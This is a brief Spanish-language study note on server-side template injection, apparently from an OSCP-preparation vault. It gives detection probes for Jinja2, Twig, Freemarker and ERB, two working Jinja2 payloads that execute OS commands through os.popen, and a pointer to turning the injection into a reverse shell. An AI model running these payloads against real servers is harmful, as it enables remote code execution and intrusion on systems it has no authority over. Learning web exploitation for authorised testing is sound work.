# SSTI (Server-Side Template Injection) > Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web. ## Detección ``` {{7*7}} → si responde 49 → vulnerable (Jinja2/Twig) ${7*7} → Freemarker / otros <%= 7*7 %> → ERB (Ruby) #{7*7} → Ruby/otros ``` Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI. ## Identificar el motor Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar. ## Jinja2 (Python) → RCE ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} {{ cycler.__init__.__globals__.os.popen('id').read() }} ``` ## De RCE a shell Inyecta el comando de Reverse shell dentro del payload → listener en Kali. Relacionado: Command injection · XSS · OSCP MOC